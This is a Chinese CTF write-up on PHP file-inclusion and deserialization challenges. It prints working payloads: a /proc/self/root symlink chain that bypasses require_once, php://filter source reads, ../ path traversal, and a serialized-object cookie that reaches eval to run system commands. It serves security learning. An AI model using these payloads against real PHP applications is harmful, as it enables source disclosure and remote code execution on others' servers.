CTF中关于文件包含漏洞
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once($_GET['file']);
}
场景描述:我们在审计时找到一处文件包含漏洞(使用require_once或include_once),想利用这个漏洞读取一下数据库配置文件之类的源码,通常可以使用php://filter/convert.base64-encode/resource=file这样的方式将文件以base64的形式读出来。但如果这个文件在前面已经被包含过了,则第二次包含就会失败,即使使用php://filter也一样。
此时我们可以使用“多重软连接”,正常情况下,PHP会将用户输入的文件名进行resolve,转换成标准的绝对路径,这个转换的过程会将…/、./、软连接等都进行计算,得到一个最终的路径,再进行包含。每次包含都会经历这个过程,所以,只要是相同的文件,不管中间使用了…/进行跳转,还是使用软连接进行跳转,都逃不过最终被转换成原始路径的过程,也就绕不过require_once。
但是,如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过require_once限制。 在Linux下,最常见的软连接就是/proc/self/root,这个路径指向根目录。所以,我们可以多次使用这个路径:
绕过代码,使用软连接/proc/self/root跳转,一般使用22次以上
/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
或者使用这样的方式包含根目录下的flag试试:
/?file=../../../../../../../../../flag
场景2:
代码如下:
<?php include "flag.php"; class Connection { public $file; public function __construct($file) { $this->file = $file; } public function __sleep() { $this->file = 'sleep.txt'; return array('file'); } public function __destruct() { include($this->file); } } if (isset($_GET['un'])) { $obj2 = unserialize($_GET['un']); } else { highlight_file(__file__); }
分析所得:
flag值位置:存在于当前目录下的flag.php页面内
后台存在反序列化函数
后台存在不正当使用魔术方法的行为
后台存在文件包含漏洞
用于对传入的反序列化的内容可控
3.解题过程
第一步:分析流程
想要获得flag值,就要包含flag.php;(注意:需要用到php://filter伪协议读取flag.php的源码,虽然php文件中对于符合php语法规范的要解析执行,对于不符合php语法规范的直接读取,但是注释的内容不会解析执行,也不会在前台显示,因此位于注释中的flag是不能够直接包含出来的,我们此时就需要读取页面的源码来获得flag值)
想要包含flag.php,就要执行析构方法并且让当前类的file属性的值为flag.php
想要执行析构方法,就要有一个当前类的实例化对象被销毁(只要脚本执行完毕,对象会自动被销毁,此时就会执行析构方法,进行文件包含了)(当然了,后台若使用unset()函数也可以人为的销毁对象)
第二步:根据以上步骤构造payload
<?php
class Connection
{
public $file='php://filter/convert.base64-encode/resource=flag.php';
}
$chen = new Connection();
echo serialize($chen);
//O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
因此payload,如下:
?un=O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
使用burp解密得到flag
<?php
//flag{9bfd3534-0246-4978-9cc9-9ab556bcba4e}
场景3:
代码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfuser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
魔法方法他来了,方法不能被序列化,但是比如 __construct 魔法方法这种在生成对象时就被调用了,所以在构造序列化字符串时也要考虑
简单的构造方法,就是把类复制,把该删的删掉剩下的改就行了
<?php
class ctfuser{
# 没用到的都可以删掉
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
# 用到了,但是值无关紧要
public $class = 'info';
# 构造方法,创建新对象时先调用此方法,适合在使用对象之前做一些初始化工作
public function __construct(){
$this->class=new info();
# 因为代码执行函数在 backDoor 类,所以这里可以直接 $this->class=new backDoor();
}
# 不能序列化
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
# 析构方法,对象销毁时生效,所以无效
public function __destruct(){
$this->class->getInfo();
}
}
# 没用到删去
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
# 要利用的类
class backDoor{
# 关键点,code是可以控制的,code有可以执行代码,这里code=恶意代码
public $code;
# 方法不能序列化,删除
public function getInfo(){
eval($this->code);
}
}
最终构造的POC代码如下:
<?php
class ctfuser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("tac flag.php");';
# 要执行的命令
}
var_dump(urlencode(serialize(new ctfuser())));
?>
pyload如下:
get访问 /?username=xxxxxx&password=xxxxxx
cookie:user=O%3A7%3A%22ctfuser%22%3A1%3A%7Bs%3A14%3A%22%00ctfuser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D
技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
共有 0 条评论